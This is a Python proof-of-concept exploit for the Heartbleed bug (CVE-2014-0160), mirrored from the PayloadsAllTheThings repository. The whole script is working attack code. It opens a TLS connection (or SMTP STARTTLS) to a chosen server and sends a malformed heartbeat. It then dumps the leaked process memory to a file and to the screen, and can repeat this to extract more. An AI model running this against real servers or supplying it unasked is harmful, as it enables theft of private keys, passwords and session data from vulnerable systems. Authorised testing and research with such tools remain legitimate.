mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-05-24 05:56:27 +02:00
217 lines
6.1 KiB
Python
217 lines
6.1 KiB
Python
#!/usr/bin/python
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# Quick and dirty demonstration of CVE-2014-0160 originally by Jared Stafford (jspenguin@jspenguin.org)
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# The author disclaims copyright to this source code.
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# Modified by SensePost based on lots of other people's efforts (hard to work out credit via PasteBin)
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from __future__ import print_function
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from builtins import str
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from builtins import range
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import sys
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import struct
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import socket
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import time
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import select
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import re
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from optparse import OptionParser
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import smtplib
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options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
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options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
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options.add_option('-n', '--num', type='int', default=1, help='Number of heartbeats to send if vulnerable (defines how much memory you get back) (default: 1)')
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options.add_option('-f', '--file', type='str', default='dump.bin', help='Filename to write dumped memory too (default: dump.bin)')
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options.add_option('-q', '--quiet', default=False, help='Do not display the memory dump', action='store_true')
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options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS (smtp only right now)')
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def h2bin(x):
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return x.replace(' ', '').replace('\n', '').decode('hex')
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hello = h2bin('''
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16 03 02 00 dc 01 00 00 d8 03 02 53
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43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
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bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
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00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
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00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
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c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
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c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
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c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
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c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
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00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
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03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
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00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
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00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
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00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
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00 0f 00 01 01
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''')
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hbv10 = h2bin('''
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18 03 01 00 03
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01 40 00
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''')
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hbv11 = h2bin('''
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18 03 02 00 03
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01 40 00
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''')
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hbv12 = h2bin('''
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18 03 03 00 03
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01 40 00
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''')
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def hexdump(s, dumpf, quiet):
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dump = open(dumpf,'a')
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dump.write(s)
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dump.close()
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if quiet: return
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for b in range(0, len(s), 16):
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lin = [c for c in s[b : b + 16]]
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hxdat = ' '.join('%02X' % ord(c) for c in lin)
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pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
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print(' %04x: %-48s %s' % (b, hxdat, pdat))
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print()
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def recvall(s, length, timeout=5):
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endtime = time.time() + timeout
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rdata = ''
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remain = length
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while remain > 0:
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rtime = endtime - time.time()
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if rtime < 0:
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if not rdata:
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return None
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else:
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return rdata
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r, w, e = select.select([s], [], [], 5)
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if s in r:
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data = s.recv(remain)
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# EOF?
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if not data:
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return None
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rdata += data
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remain -= len(data)
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return rdata
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def recvmsg(s):
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hdr = recvall(s, 5)
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if hdr is None:
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print('Unexpected EOF receiving record header - server closed connection')
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return None, None, None
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typ, ver, ln = struct.unpack('>BHH', hdr)
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pay = recvall(s, ln, 10)
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if pay is None:
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print('Unexpected EOF receiving record payload - server closed connection')
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return None, None, None
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print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))
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return typ, ver, pay
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def hit_hb(s, dumpf, host, quiet):
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while True:
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typ, ver, pay = recvmsg(s)
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if typ is None:
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print('No heartbeat response received from '+host+', server likely not vulnerable')
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return False
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if typ == 24:
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if not quiet: print('Received heartbeat response:')
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hexdump(pay, dumpf, quiet)
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if len(pay) > 3:
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print('WARNING: server '+ host +' returned more data than it should - server is vulnerable!')
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else:
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print('Server '+host+' processed malformed heartbeat, but did not return any extra data.')
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return True
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if typ == 21:
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if not quiet: print('Received alert:')
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hexdump(pay, dumpf, quiet)
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print('Server '+ host +' returned error, likely not vulnerable')
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return False
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def connect(host, port, quiet):
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s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
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if not quiet: print('Connecting...')
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sys.stdout.flush()
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s.connect((host, port))
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return s
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def tls(s, quiet):
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if not quiet: print('Sending Client Hello...')
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sys.stdout.flush()
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s.send(hello)
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if not quiet: print('Waiting for Server Hello...')
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sys.stdout.flush()
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def parseresp(s):
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while True:
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typ, ver, pay = recvmsg(s)
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if typ == None:
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print('Server closed connection without sending Server Hello.')
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return 0
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# Look for server hello done message.
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if typ == 22 and ord(pay[0]) == 0x0E:
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return ver
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def check(host, port, dumpf, quiet, starttls):
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response = False
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if starttls:
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try:
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s = smtplib.SMTP(host=host,port=port)
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s.ehlo()
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s.starttls()
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except smtplib.SMTPException:
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print('STARTTLS not supported...')
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s.quit()
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return False
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print('STARTTLS supported...')
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s.quit()
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s = connect(host, port, quiet)
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s.settimeout(1)
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try:
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re = s.recv(1024)
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s.send('ehlo starttlstest\r\n')
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re = s.recv(1024)
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s.send('starttls\r\n')
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re = s.recv(1024)
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except socket.timeout:
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print('Timeout issues, going ahead anyway, but it is probably broken ...')
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tls(s,quiet)
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else:
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s = connect(host, port, quiet)
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tls(s,quiet)
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version = parseresp(s)
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if version == 0:
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if not quiet: print("Got an error while parsing the response, bailing ...")
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return False
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else:
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version = version - 0x0300
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if not quiet: print("Server TLS version was 1.%d\n" % version)
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if not quiet: print('Sending heartbeat request...')
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sys.stdout.flush()
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if (version == 1):
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s.send(hbv10)
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response = hit_hb(s,dumpf, host, quiet)
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if (version == 2):
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s.send(hbv11)
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response = hit_hb(s,dumpf, host, quiet)
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if (version == 3):
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s.send(hbv12)
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response = hit_hb(s,dumpf, host, quiet)
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s.close()
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return response
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def main():
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opts, args = options.parse_args()
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if len(args) < 1:
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options.print_help()
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return
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print('Scanning ' + args[0] + ' on port ' + str(opts.port))
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for i in range(0,opts.num):
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check(args[0], opts.port, opts.file, opts.quiet, opts.starttls)
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if __name__ == '__main__':
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main()
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